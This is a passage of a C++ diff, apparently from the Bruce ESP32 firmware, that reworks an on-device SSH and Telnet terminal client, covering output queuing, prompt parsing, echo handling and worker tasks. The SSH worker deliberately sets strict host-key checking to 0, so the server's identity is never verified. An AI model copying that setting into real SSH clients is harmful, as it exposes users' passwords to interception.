+                previousOutputWasCR = true;
+                continue;
+            }
+            if (c == '\n' && previousOutputWasCR) {
+                previousOutputWasCR = false;
+                continue;
+            }
+            previousOutputWasCR = false;
+            if (c == '\t') c = ' ';
+            if (raw < 0x20 && c != '\n') continue;
+            queuedOutput += c;
+        }
+    });
+}
+
+void queueSessionCommand(const String &command) {
+    withClientLock([&]() { queuedCommand += command; });
+}
+
+String takeQueuedCommand() {
+    String command;
+    withClientLock([&]() {
+        command = queuedCommand;
+        queuedCommand = "";
+    });
+    return command;
+}
+
+String takeQueuedOutput() {
+    String output;
+    withClientLock([&]() {
+        output = queuedOutput;
+        queuedOutput = "";
+    });
+    return output;
+}
+
+size_t getQueuedOutputLength() {
+    size_t length = 0;
+    withClientLock([&]() { length = queuedOutput.length(); });
+    return length;
+}
+
+bool isQueuedOutputBackedUp() { return getQueuedOutputLength() >= MAX_QUEUED_OUTPUT_BYTES; }
+
+String getQueuedPromptPrefix() {
+    String prompt;
+    withClientLock([&]() { prompt = queuedPromptPrefix; });
+    return prompt;
+}
+
+String getQueuedPromptContext() {
+    String context;
+    withClientLock([&]() { context = queuedPromptContext; });
+    return context;
+}
+
+String getCurrentPromptPrefix() {
+    String prompt = getQueuedPromptPrefix();
+    if (prompt.isEmpty()) prompt = "> ";
+    return prompt;
+}
+
+String getSessionStatus() {
+    String status;
+    withClientLock([&]() { status = sessionStatus; });
+    return status;
+}
+
+bool isStopRequested() {
+    bool stopRequested = false;
+    withClientLock([&]() { stopRequested = stopSessionRequested; });
+    return stopRequested;
+}
+
+void requestSessionStop() {
+    withClientLock([&]() { stopSessionRequested = true; });
+}
+
+bool isSessionClosed() {
+    bool closed = false;
+    withClientLock([&]() { closed = sessionClosed; });
+    return closed;
+}
+
+bool didSessionFail() {
+    bool failed = false;
+    withClientLock([&]() { failed = sessionFailed; });
+    return failed;
+}
+
+bool isSessionConnecting() {
+    bool connecting = false;
+    withClientLock([&]() { connecting = sessionConnecting; });
+    return connecting;
+}
+
+void resetClientScreen(const char *title) {
+    (void)title;
+    tft.fillScreen(bruceConfig.bgColor);
+    tft.drawRect(0, 0, tftWidth, tftHeight, bruceConfig.priColor);
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
-    if (host != "") ssh_host = host;
-    else {
-        String my_net =
-            WiFi.gatewayIP().toString().substring(0, WiFi.gatewayIP().toString().lastIndexOf(".") + 1);
-        ssh_host = keyboard(my_net, 100, "SSH HOST (IP or Hostname)");
-        // ssh_host=keyboard("192.168.3.60",15,"SSH HOST (IP)");
+    tft.setTextSize(FP);
+    tft.setCursor(TERMINAL_PAD_X, TERMINAL_PAD_Y);
+    String context = getQueuedPromptContext();
+    if (!context.isEmpty()) {
+        tft.setTextColor(TFT_CYAN, bruceConfig.bgColor);
+        tft.println(context);
+        tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+        tft.setCursor(TERMINAL_PAD_X, tft.getCursorY());
     }
-    ssh_port = num_keyboard("22", 5, "SSH PORT");
+    cursorY = tft.getCursorY();
+}
 
-    ssh_user = keyboard("", 76, "SSH USER");
-    // ssh_user=keyboard("ubuntu",76,"SSH USER");
+void resetCommandBufferToPrompt() { commandBuffer = getCurrentPromptPrefix(); }
 
-    ssh_password = keyboard("", 76, "SSH PASSWORD", true);
-    // ssh_password=keyboard("ubuntu",76,"SSH PASSWORD", true);
+size_t getCommandPromptLength() {
+    String prompt = getCurrentPromptPrefix();
+    if (commandBuffer.startsWith(prompt)) return prompt.length();
+    if (commandBuffer.startsWith("> ")) return 2;
+    return 0;
+}
 
-    IPAddress resolvedIp;
-    if (WiFi.hostByName(ssh_host.c_str(), resolvedIp)) {
-        ssh_host = resolvedIp.toString();
-    } else {
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayRedStripe("Failed to resolve hostname.", true);
-        log_e("Failed to resolve hostname: %s", ssh_host.c_str());
-        returnToMenu = true;
-        return;
+String getBufferedCommandInput() {
+    size_t promptLength = getCommandPromptLength();
+    if (commandBuffer.length() <= promptLength) return "";
+    return commandBuffer.substring(promptLength);
+}
+
+void setTerminalLiveInput(const String &input) {
+    withClientLock([&]() { terminalLiveInput = input; });
+}
+
+String getTerminalLiveInput() {
+    String input;
+    withClientLock([&]() { input = terminalLiveInput; });
+    return input;
+}
+
+void syncCommandBufferFromRemote(const String &input) {
+    setTerminalLiveInput(input);
+    commandBuffer = getCurrentPromptPrefix() + input;
+}
+
+void setPendingEchoSuppression(const String &input) {
+    withClientLock([&]() { pendingEchoSuppression = input; });
+}
+
+void clearTerminalPendingState() {
+    withClientLock([&]() {
+        pendingTerminalLine = "";
+        terminalLiveInput = "";
+        pendingEchoSuppression = "";
+    });
+}
+
+String takePendingEchoSuppression() {
+    String input;
+    withClientLock([&]() {
+        input = pendingEchoSuppression;
+        pendingEchoSuppression = "";
+    });
+    return input;
+}
+
+String peekPendingEchoSuppression() {
+    String input;
+    withClientLock([&]() { input = pendingEchoSuppression; });
+    return input;
+}
+
+String stripLeadingPromptPrefix(String line) {
+    String promptPrefix = getCurrentPromptPrefix();
+    if (promptPrefix.isEmpty()) return line;
+
+    while (line.startsWith(promptPrefix)) {
+        line.remove(0, promptPrefix.length());
+        while (!line.isEmpty() && line[0] == ' ') line.remove(0, 1);
     }
+    return line;
+}
 
-    // Connect to SSH server
-    TaskHandle_t sshTaskHandle = NULL;
+bool shouldSuppressEchoLine(String &line) {
+    String suppressedEcho = peekPendingEchoSuppression();
+    if (suppressedEcho.isEmpty()) return false;
 
-#if SOC_CPU_CORES_NUM > 1
-    xTaskCreatePinnedToCore(ssh_loop, "SSH Task", SSH_TASK_STACK_SIZE, NULL, 1, &sshTaskHandle, 1);
-#else
-    xTaskCreate(ssh_loop, "SSH Task", SSH_TASK_STACK_SIZE, NULL, 1, &sshTaskHandle); // runs on core0
-#endif
-    if (sshTaskHandle == NULL) {
-        displayError("SSH Task creation failed.", true);
-        Serial.println("Failed to create SSH Task");
-        return;
+    String trimmedLine = line;
+    trimmedLine.trim();
+    if (trimmedLine.isEmpty()) return false;
+
+    String promptPrefix = getCurrentPromptPrefix();
+    String prefixedEcho = promptPrefix + suppressedEcho;
+
+    if (trimmedLine == suppressedEcho || trimmedLine == prefixedEcho) {
+        takePendingEchoSuppression();
+        line = "";
+        return true;
     }
 
-    while (!returnToMenu) { vTaskDelay(pdMS_TO_TICKS(200)); }
+    if (trimmedLine.startsWith(prefixedEcho)) {
+        takePendingEchoSuppression();
+        line = trimmedLine.substring(prefixedEcho.length());
+        line.trim();
+        return line.isEmpty();
+    }
+
+    return false;
 }
 
-void ssh_loop(void *pvParameters) {
-    String message = "";
-    tft.setTextSize(FP);
-    drawMainBorderWithTitle("SSH");
+void renderPrompt(bool forceNewLine = false);
+
+void ensureCursorOnFreshLine() {
+    if (tft.getCursorX() > TERMINAL_PAD_X) {
+        tft.println();
+        tft.setCursor(TERMINAL_PAD_X, tft.getCursorY());
+    }
+}
+
+void redrawCurrentCommandLine() {
+    int lineHeight = max(1, FP * LH);
+    int lineY = tft.getCursorY();
+    if (lineY < TERMINAL_PAD_Y) lineY = TERMINAL_PAD_Y;
+
+    tft.fillRect(TERMINAL_PAD_X, lineY, tftWidth - (TERMINAL_PAD_X * 2), lineHeight, bruceConfig.bgColor);
+    tft.setCursor(TERMINAL_PAD_X, lineY);
+    tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
+    tft.print(commandBuffer);
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
     cursorY = tft.getCursorY();
-    log_d("BEFORE SSH");
-    my_ssh_session = ssh_new();
-    log_d("AFTER SSH");
-    // Disable watchdog
-    disableCore0WDT();
-#if SOC_CPU_CORES_NUM > 1
-    disableCore1WDT();
-#endif
-    disableLoopWDT();
+}
 
-    if (my_ssh_session == NULL) {
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayError("SSH Session creation failed.", true);
-        log_d("SSH Session creation failed.");
-        returnToMenu = true;
-        vTaskDelete(NULL);
-        return;
+bool trySyncLiveInputFromRemoteLine(const String &line, bool renderUpdatedPrompt) {
+    String liveInput = getTerminalLiveInput();
+    if (liveInput.isEmpty()) return false;
+
+    String promptPrefix = getCurrentPromptPrefix();
+    String payload = line;
+    if (!promptPrefix.isEmpty() && line.startsWith(promptPrefix)) {
+        payload = line.substring(promptPrefix.length());
+    } else if (!line.startsWith(liveInput)) return false;
+
+    payload.trim();
+    if (payload.isEmpty() || !payload.startsWith(liveInput)) return false;
+
+    bool awaiting = false;
+    withClientLock([&]() { awaiting = awaitingTabDebugResponse; });
+    if (awaiting && payload == liveInput) return false;
+
+    syncCommandBufferFromRemote(payload);
+    withClientLock([&]() { awaitingTabDebugResponse = false; });
+    if (renderUpdatedPrompt) redrawCurrentCommandLine();
+    return true;
+}
+
+bool isLikelyCompletionSuffix(const String &text) {
+    if (text.isEmpty()) return false;
+    for (size_t i = 0; i < text.length(); ++i) {
+        char c = text[i];
+        bool allowed =
+            isAlphaNumeric(c) || c == '_' || c == '-' || c == '.' || c == '/' || c == '\\' || c == '~';
+        if (!allowed) return false;
     }
-    ssh_port_char = stringTochar(ssh_port);
-    uint16_t ssh_port_int = atoi(ssh_port_char);
+    return true;
+}
 
-    ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, ssh_host.c_str());
-    ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &ssh_port_int);
-    ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, ssh_user.c_str());
-    log_d("AFTER COMPARE AND OPTION SET");
+bool tryAppendLiveInputSuffixFromRemoteLine(const String &line, bool renderUpdatedPrompt) {
+    String liveInput = getTerminalLiveInput();
+    if (liveInput.isEmpty() || line.isEmpty()) return false;
 
-    if (ssh_connect(my_ssh_session) != SSH_OK) {
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayError("SSH Connect error.", true);
-        log_d("SSH Connect error.");
-        ssh_free(my_ssh_session);
-        returnToMenu = true;
-        vTaskDelete(NULL);
-        return;
+    String suffix = line;
+    suffix.trim();
+    if (suffix.isEmpty()) return false;
+    if (suffix.startsWith(liveInput)) return false;
+    if (!isLikelyCompletionSuffix(suffix)) return false;
+
+    bool awaiting = false;
+    withClientLock([&]() { awaiting = awaitingTabDebugResponse; });
+    if (!awaiting) return false;
+
+    size_t overlap = 0;
+    size_t maxOverlap = min(liveInput.length(), suffix.length());
+    for (size_t candidate = maxOverlap; candidate > 0; --candidate) {
+        if (liveInput.substring(liveInput.length() - candidate) == suffix.substring(0, candidate)) {
+            overlap = candidate;
+            break;
+        }
     }
 
-    if (ssh_userauth_password(my_ssh_session, NULL, ssh_password.c_str()) != SSH_AUTH_SUCCESS) {
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayError("SSH Authentication error.", true);
-        log_d("SSH Authentication error.");
-        ssh_disconnect(my_ssh_session);
-        ssh_free(my_ssh_session);
-        returnToMenu = true;
-        vTaskDelete(NULL);
-        return;
+    String completed = liveInput;
+    completed += suffix.substring(overlap);
+    syncCommandBufferFromRemote(completed);
+    withClientLock([&]() { awaitingTabDebugResponse = false; });
+    if (renderUpdatedPrompt) redrawCurrentCommandLine();
+    return true;
+}
+
+void renderPrompt(bool forceNewLine) {
+    if (commandBuffer == "> ") {
+        String promptPrefix = getQueuedPromptPrefix();
+        if (!promptPrefix.isEmpty()) commandBuffer = promptPrefix;
+    }
+    if (forceNewLine) ensureCursorOnFreshLine();
+    tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
+    tft.print(commandBuffer);
+    tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
+    cursorY = tft.getCursorY();
+}
+
+bool parseShellPromptLine(const String &line, String &context, String &prompt) {
+    String trimmed = line;
+    trimmed.trim();
+    if (trimmed.isEmpty()) return false;
+
+    char last = trimmed[trimmed.length() - 1];
+    if (last != '#' && last != '$' && last != '>') return false;
+
+    int atPos = trimmed.indexOf('@');
+    int colonPos = trimmed.lastIndexOf(':');
+    if (atPos <= 0 || colonPos <= atPos || colonPos >= trimmed.length() - 1) return false;
+
+    String userHost = trimmed.substring(0, colonPos);
+    String location = trimmed.substring(colonPos + 1);
+    location.trim();
+    if (location.isEmpty()) return false;
+
+    context = "usr: " + userHost + " on: " + location;
+    prompt = location + " > ";
+    return true;
+}
+
+void captureShellPromptLine(const String &line) {
+    String context;
+    String prompt;
+    if (!parseShellPromptLine(line, context, prompt)) return;
+
+    String previousPrompt = getQueuedPromptPrefix();
+    withClientLock([&]() {
+        queuedPromptContext = context;
+        queuedPromptPrefix = prompt;
+    });
+
+    String liveInput = getTerminalLiveInput();
+    if (liveInput.isEmpty()) {
+        if (commandBuffer == previousPrompt || commandBuffer == "> ") commandBuffer = prompt;
+    } else {
+        commandBuffer = prompt + liveInput;
     }
+}
 
-    channel_ssh = ssh_channel_new(my_ssh_session);
-    if (channel_ssh == NULL || ssh_channel_open_session(channel_ssh) != SSH_OK) {
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayError("SSH Channel open error.", true);
-        log_d("SSH Channel open error.");
-        ssh_disconnect(my_ssh_session);
-        ssh_free(my_ssh_session);
-        returnToMenu = true;
-        vTaskDelete(NULL);
-        return;
+int getTerminalCols() {
+    int usableWidth = tftWidth - (TERMINAL_PAD_X * 2);
+    int colWidth = max(1, FP * LW);
+    return max(20, usableWidth / colWidth);
+}
+
+int getTerminalRows() {
+    int usableHeight = tftHeight - (TERMINAL_PAD_Y * 2);
+    if (!getQueuedPromptContext().isEmpty()) usableHeight -= FP * LH;
+    int rowHeight = max(1, FP * LH);
+    return max(4, usableHeight / rowHeight);
+}
+
+void renderVisibleText(const String &title, const String &text, bool appendNewline) {
+    ensureCursorOnFreshLine();
+    tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+    for (size_t i = 0; i < text.length(); ++i) {
+        if (tft.getCursorX() > tftWidth - TERMINAL_PAD_X - (FP * LW)) {
+            tft.println();
+            tft.setCursor(TERMINAL_PAD_X, tft.getCursorY());
+        }
+        tft.write(text[i]);
+        if (tft.getCursorY() > tftHeight - TERMINAL_PAD_Y - (FP * LH)) {
+            resetClientScreen(title.c_str());
+            renderPrompt();
+            tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
+        }
+        if (tft.getCursorX() == 0) tft.setCursor(TERMINAL_PAD_X, tft.getCursorY());
     }
 
-    if (ssh_channel_request_pty(channel_ssh) != SSH_OK) {
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayError("SSH PTY request error.", true);
-        log_d("SSH PTY request error.");
-        ssh_channel_close(channel_ssh);
-        ssh_channel_free(channel_ssh);
-        ssh_disconnect(my_ssh_session);
-        ssh_free(my_ssh_session);
-        returnToMenu = true;
-        vTaskDelete(NULL);
-        return;
+    if (appendNewline) {
+        tft.println();
+        if (tft.getCursorX() == 0) tft.setCursor(TERMINAL_PAD_X, tft.getCursorY());
     }
+}
 
-    if (ssh_channel_request_shell(channel_ssh) != SSH_OK) {
-        tft.setTextColor(TFT_RED, bruceConfig.bgColor);
-        displayError("SSH Shell request error.", true);
-        log_d("SSH Shell request error.");
-        ssh_channel_close(channel_ssh);
-        ssh_channel_free(channel_ssh);
-        ssh_disconnect(my_ssh_session);
-        ssh_free(my_ssh_session);
-        returnToMenu = true;
-        vTaskDelete(NULL);
-        return;
+void renderSessionOutput(const String &title, const String &output) {
+    if (output.isEmpty()) return;
+
+    for (size_t i = 0; i < output.length(); ++i) {
+        char c = output[i];
+        if (c == '\r') continue;
+        if (c == '\n') {
+            String context;
+            String prompt;
+            if (parseShellPromptLine(pendingTerminalLine, context, prompt)) {
+                captureShellPromptLine(pendingTerminalLine);
+                renderPrompt(true);
+            } else if (!pendingTerminalLine.isEmpty()) {
+                if (trySyncLiveInputFromRemoteLine(pendingTerminalLine, true)) {
+                    pendingTerminalLine = "";
+                    continue;
+                }
+                if (tryAppendLiveInputSuffixFromRemoteLine(pendingTerminalLine, true)) {
+                    pendingTerminalLine = "";
+                    continue;
+                }
+                String liveInput = getTerminalLiveInput();
+                if (!liveInput.isEmpty() && pendingTerminalLine.endsWith(liveInput)) {
+                    syncCommandBufferFromRemote(liveInput);
+                    pendingTerminalLine = "";
+                    continue;
+                }
+                String normalizedLine = pendingTerminalLine;
+                if (shouldSuppressEchoLine(normalizedLine)) {
+                    pendingTerminalLine = "";
+                    continue;
+                }
+                normalizedLine = stripLeadingPromptPrefix(normalizedLine);
+                if (!liveInput.isEmpty() && normalizedLine.startsWith(liveInput)) {
+                    syncCommandBufferFromRemote(normalizedLine);
+                    renderVisibleText(title, getCurrentPromptPrefix() + normalizedLine, true);
+                    pendingTerminalLine = "";
+                    continue;
+                }
+                if (!normalizedLine.isEmpty()) renderVisibleText(title, normalizedLine, true);
+            }
+            pendingTerminalLine = "";
+        } else {
+            pendingTerminalLine += c;
+        }
+    }
+
+    String context;
+    String prompt;
+    if (parseShellPromptLine(pendingTerminalLine, context, prompt)) {
+        captureShellPromptLine(pendingTerminalLine);
+        pendingTerminalLine = "";
+        renderPrompt(true);
+    } else if (!pendingTerminalLine.isEmpty()) {
+        if (trySyncLiveInputFromRemoteLine(pendingTerminalLine, true) ||
+            tryAppendLiveInputSuffixFromRemoteLine(pendingTerminalLine, true)) {
+            pendingTerminalLine = "";
+        }
     }
 
-    log_d("SSH setup completed.");
-    drawMainBorderWithTitle("SSH");
+    cursorY = tft.getCursorY();
     tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
-    tft.setTextSize(FP);
-    tft.setCursor(10, BORDER_PAD_Y + FM * LH);
-    char buffer[1024];
-    int nbytes;
-    keyStroke key;
-    while (1) {
+}
+
+void finishSessionUi(const String &title) {
+    requestSessionStop();
+
+    while (getClientTaskHandle() != nullptr) { vTaskDelay(pdMS_TO_TICKS(20)); }
+
+    String status = getSessionStatus();
+    if (status.isEmpty()) { status = (title == "SSH") ? "SSH session closed." : "Telnet session closed."; }
+
+    if (didSessionFail()) displayError(status, true);
+    else displayWarning(status, true);
+
+    returnToMenu = true;
+}
+
+void sshWorkerTask(void *pvParameters) {
+    std::unique_ptr<char[]> buffer(new char[CLIENT_IO_BUFFER_SIZE]);
+    int strictHostKeyChecking = 0;
+    ssh_session sshSession = nullptr;
+    ssh_channel sshChannel = nullptr;
+    bool stdoutPollingEnabled = true;
+    bool stderrPollingEnabled = true;
+    if (!buffer) {
+        markSessionClosed("SSH buffer allocation failed.", true);
+        goto SSH_EXIT;
+    }
+
+    markSessionConnecting();
+
+    sshSession = ssh_new();
+    if (sshSession == nullptr) {
+        markSessionClosed("SSH session creation failed.", true);
+        goto SSH_EXIT;
+    }
+
+    ssh_options_set(sshSession, SSH_OPTIONS_HOST, sessionHost.c_str());
+    ssh_options_set(sshSession, SSH_OPTIONS_PORT, &sessionPort);
+    ssh_options_set(sshSession, SSH_OPTIONS_USER, sessionUser.c_str());
+    ssh_options_set(sshSession, SSH_OPTIONS_KNOWNHOSTS, SSH_USER_KNOWN_HOSTS_PATH);
+    ssh_options_set(sshSession, SSH_OPTIONS_GLOBAL_KNOWNHOSTS, SSH_GLOBAL_KNOWN_HOSTS_PATH);
+    ssh_options_set(sshSession, SSH_OPTIONS_STRICTHOSTKEYCHECK, &strictHostKeyChecking);
+
+    if (WiFi.status() != WL_CONNECTED) {
+        markSessionClosed("WiFi disconnected before SSH connect.", true);
+        goto SSH_EXIT;
+    }
+
+    Serial.printf(
+        "[SSHDBG] connect start host=%s port=%u user=%s\n",
+        sessionHost.c_str(),
+        sessionPort,
+        sessionUser.c_str()
+    );
+    if (ssh_connect(sshSession) != SSH_OK) {
+        markSessionClosed("SSH connect error.", true);
+        goto SSH_EXIT;
+    }
+    Serial.printf("[SSHDBG] connect ok\n");
+
+    if (ssh_userauth_password(sshSession, nullptr, ssh_password.c_str()) != SSH_AUTH_SUCCESS) {
+        markSessionClosed("SSH authentication error.", true);
+        goto SSH_EXIT;
+    }
+    Serial.printf("[SSHDBG] auth ok\n");
+
+    sshChannel = ssh_channel_new(sshSession);
+    if (sshChannel == nullptr || ssh_channel_open_session(sshChannel) != SSH_OK) {
+        markSessionClosed("SSH channel open error.", true);
+        goto SSH_EXIT;
+    }
+    Serial.printf("[SSHDBG] channel open ok\n");
+
+    if (ssh_channel_request_pty_size(sshChannel, "vt100", getTerminalCols(), getTerminalRows()) != SSH_OK) {
+        markSessionClosed("SSH PTY request error.", true);
+        goto SSH_EXIT;
+    }
+    Serial.printf("[SSHDBG] pty ok cols=%d rows=%d\n", getTerminalCols(), getTerminalRows());
+
+    if (ssh_channel_request_shell(sshChannel) != SSH_OK) {
+        markSessionClosed("SSH shell request error.", true);
+        goto SSH_EXIT;
+    }
+    Serial.printf("[SSHDBG] shell ok\n");
+
+    markSessionReady();
+
+    while (!isStopRequested()) {
+        if (WiFi.status() != WL_CONNECTED) {
+            markSessionClosed("WiFi disconnected during SSH session.", true);
+            goto SSH_EXIT;
+        }
+
+        String outbound = takeQueuedCommand();
+        if (sshChannel == nullptr || sshSession == nullptr) {
+            Serial.printf("[SSHDBG] session invalid. channel=%p session=%p\n", sshChannel, sshSession);
+            markSessionClosed("SSH session closed.", false);
+            goto SSH_EXIT;
+        }
+
+        if (!ssh_channel_is_open(sshChannel) || ssh_channel_is_closed(sshChannel) ||
+            ssh_channel_is_eof(sshChannel)) {
+            Serial.printf(
+                "[SSHDBG] channel not writable/open. open=%d closed=%d eof=%d\n",
+                ssh_channel_is_open(sshChannel),
+                ssh_channel_is_closed(sshChannel),
+                ssh_channel_is_eof(sshChannel)
+            );
+            markSessionClosed("SSH channel closed.", false);
+            goto SSH_EXIT;
+        }
+
+        if (!outbound.isEmpty()) {
+            int written = ssh_channel_write(sshChannel, outbound.c_str(), outbound.length());
+            Serial.printf("[SSHDBG] write len=%u rc=%d\n", static_cast<unsigned>(outbound.length()), written);
+            if (written == SSH_AGAIN) {
+                // Channel temporarily can't accept more data in nonblocking mode.
+            } else if (written == SSH_ERROR) {
+                markSessionClosed("SSH write error.", true);
+                goto SSH_EXIT;
+            }
+        }
+
+        if (isQueuedOutputBackedUp()) {
+            vTaskDelay(pdMS_TO_TICKS(20));
+            continue;
+        }
+
+        auto drainSshStream = [&](int isStderr) -> bool {
+            if (isStderr == 0 && !stdoutPollingEnabled) return true;
+            if (isStderr != 0 && !stderrPollingEnabled) return true;
+
+            int available = ssh_channel_poll(sshChannel, isStderr);
+            if (available == SSH_ERROR) {
+                const char *sshError = ssh_get_error(sshSession);
+                bool channelEnded = ssh_channel_is_eof(sshChannel) || ssh_channel_is_closed(sshChannel);
+                if (!channelEnded && (sshError == nullptr || sshError[0] == '\0')) {
+                    if (isStderr == 0) {
+                        Serial.printf(
+                            "[SSHDBG] disabling stdout poll after rc=%d with empty error\n", available
+                        );
+                        stdoutPollingEnabled = false;
+                    } else {
+                        Serial.printf(
+                            "[SSHDBG] disabling stderr poll after rc=%d with empty error\n", available
+                        );
+                        stderrPollingEnabled = false;
+                    }
+                    return true;
+                }
+                Serial.printf(
+                    "[SSHDBG] poll rc=%d stderr=%d err='%s'\n", available, isStderr, sshError ? sshError : ""
+                );
+                markSessionClosed("SSH poll error.", true);
+                return false;
+            }
+
+            if (available <= 0) return true;
+
+            int maxReadSize = static_cast<int>(CLIENT_IO_BUFFER_SIZE - 1);
+            int readSize = (available < maxReadSize) ? available : maxReadSize;
+            int nbytes = ssh_channel_read(sshChannel, buffer.get(), readSize, isStderr);
+            Serial.printf("[SSHDBG] read rc=%d stderr=%d\n", nbytes, isStderr);
+            if (nbytes > 0) {
+                buffer[nbytes] = '\0';
+                Serial.printf(
+                    "[SSHDBG] append begin len=%d queued=%u freeHeap=%u\n",
+                    nbytes,
+                    static_cast<unsigned>(getQueuedOutputLength()),
+                    static_cast<unsigned>(ESP.getFreeHeap())
+                );
+                appendSessionOutput(buffer.get(), nbytes);
+                Serial.printf(
+                    "[SSHDBG] append end queued=%u freeHeap=%u\n",
+                    static_cast<unsigned>(getQueuedOutputLength()),
+                    static_cast<unsigned>(ESP.getFreeHeap())
+                );
+                return true;
+            }
+
+            if (nbytes == SSH_AGAIN) return true;
+
+            if (nbytes == 0) {
+                if (ssh_channel_is_eof(sshChannel) || ssh_channel_is_closed(sshChannel)) {
+                    markSessionClosed("SSH session closed.", false);
+                    return false;
+                }
+                return true;
+            }
+
+            if (ssh_channel_is_eof(sshChannel) || ssh_channel_is_closed(sshChannel)) {
+                Serial.printf(
+                    "[SSHDBG] read end-of-channel stderr=%d err='%s'\n", isStderr, ssh_get_error(sshSession)
+                );
+                markSessionClosed("SSH session closed.", false);
+            } else {
+                Serial.printf(
+                    "[SSHDBG] read error stderr=%d err='%s'\n", isStderr, ssh_get_error(sshSession)
+                );
+                markSessionClosed("SSH read error.", true);
+            }
+            return false;
+        };
+
+        if (!drainSshStream(0)) goto SSH_EXIT;
+        if (getQueuedOutputLength() > 0) {
+            vTaskDelay(pdMS_TO_TICKS(20));
+            continue;
+        }
+
+        if (!isQueuedOutputBackedUp() && !drainSshStream(1)) goto SSH_EXIT;
+
+        if (ssh_channel_is_eof(sshChannel) && ssh_channel_poll(sshChannel, 0) <= 0 &&
+            ssh_channel_poll(sshChannel, 1) <= 0) {
+            markSessionClosed("SSH session closed.", false);
+            goto SSH_EXIT;
+        }
+
+        vTaskDelay(pdMS_TO_TICKS(10));
+    }
+
+    markSessionClosed("SSH session closed.", false);
+
+SSH_EXIT:
+    if (sshChannel != nullptr) {
+        ssh_channel_close(sshChannel);
+        ssh_channel_free(sshChannel);
+        sshChannel = nullptr;
+    }
+    if (sshSession != nullptr) {
+        if (ssh_is_connected(sshSession)) ssh_disconnect(sshSession);
+        ssh_free(sshSession);
+        sshSession = nullptr;
+    }
+
+    ssh_password = "";
+    setClientTaskHandle(nullptr);
+    vTaskDelete(nullptr);
+}
+
+void telnetWorkerTask(void *pvParameters) {
+    std::unique_ptr<char[]> buffer(new char[CLIENT_IO_BUFFER_SIZE]);
+    struct sockaddr_in dest_addr = {};
+    struct timeval timeout = {.tv_sec = 0, .tv_usec = 100000};
+
+    if (!buffer) {
+        markSessionClosed("Telnet buffer allocation failed.", true);
+        goto TELNET_EXIT;
+    }
+
+    markSessionConnecting();
+
+    dest_addr.sin_addr.s_addr = inet_addr(sessionHost.c_str());
+    dest_addr.sin_family = AF_INET;
+    dest_addr.sin_port = htons(sessionPort);
+
+    telnetSock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
+    if (telnetSock < 0) {
+        markSessionClosed("Unable to create socket.", true);
+        goto TELNET_EXIT;
+    }
+
+    setsockopt(telnetSock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
+
+    if (connect(telnetSock, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != 0) {
+        markSessionClosed("Socket connection failed.", true);
+        goto TELNET_EXIT;
+    }
+
+    markSessionReady();
+
+    while (!isStopRequested()) {
+        if (WiFi.status() != WL_CONNECTED) {
+            markSessionClosed("WiFi disconnected during Telnet session.", true);
+            goto TELNET_EXIT;
+        }
+
+        String outbound = takeQueuedCommand();
+        if (!outbound.isEmpty()) { send(telnetSock, outbound.c_str(), outbound.length(), 0); }
+
+        int len = recv(telnetSock, buffer.get(), CLIENT_IO_BUFFER_SIZE - 1, 0);
+        if (len > 0) {
+            buffer[len] = '\0';
+
+            if ((uint8_t)buffer[0] == 0xFF) {
+                // Skip inline telnet negotiation sequences for the simple client UI.
+            } else {
+                appendSessionOutput(buffer.get(), len);
+            }
+        } else if (len == 0) {
+            markSessionClosed("Telnet session closed.", false);
+            goto TELNET_EXIT;
+        } else if (errno != EWOULDBLOCK && errno != EAGAIN) {
+            markSessionClosed("Telnet receive error.", true);
+            goto TELNET_EXIT;
+        }
+
+        vTaskDelay(pdMS_TO_TICKS(10));
+    }
+
+    markSessionClosed("Telnet session closed.", false);
+
+TELNET_EXIT:
+    if (telnetSock >= 0) {
+        close(telnetSock);
+        telnetSock = -1;
+    }
+
+    setClientTaskHandle(nullptr);
+    vTaskDelete(nullptr);
+}
+
+void runSessionUiLoop(const String &title) {
+    resetCommandBufferToPrompt();
+    resetClientScreen(title.c_str());
+    renderPrompt();
+
+    while (!returnToMenu && !isSessionClosed()) {
+        String output = takeQueuedOutput();
+        if (!output.isEmpty()) { renderSessionOutput(title, output); }
+
 #ifdef HAS_KEYBOARD
-        key = _getKeyPress();
+        keyStroke key = _getKeyPress();
+        bool isDelPressed = key.del;
         if (key.pressed) {
             unsigned long currentMillis = millis();
             if (currentMillis - lastKeyPressMillis >= debounceDelay) {
                 lastKeyPressMillis = currentMillis;
-                for (auto i : key.word) {
-                    commandBuffer += i;
-                    tft.print(i);
-                    cursorY = tft.getCursorY();
-                }
-                if (key.del && commandBuffer.length() > 2) {
-                    commandBuffer.remove(commandBuffer.length() - 1);
-                    tft.setCursor(tft.getCursorX() - 6, tft.getCursorY());
+
+                bool sendTab = false;
+                for (auto c : key.word) {
+                    uint8_t raw = static_cast<uint8_t>(c);
+                    if (raw == KEY_TAB) {
+                        sendTab = true;
+                        continue;
+                    }
+                    commandBuffer += c;
+                    String liveInput = getTerminalLiveInput();
+                    if (!liveInput.isEmpty()) {
+                        liveInput += c;
+                        setTerminalLiveInput(liveInput);
+                        queueSessionCommand(String(c));
+                    }
                     tft.setTextColor(TFT_GREEN, bruceConfig.bgColor);
-                    tft.print(" ");
-                    tft.setCursor(tft.getCursorX() - 6, tft.getCursorY());
-                    cursorY = tft.getCursorY();
-                } else if (key.enter) {
-                    tft.setTextColor(TFT_GREEN);
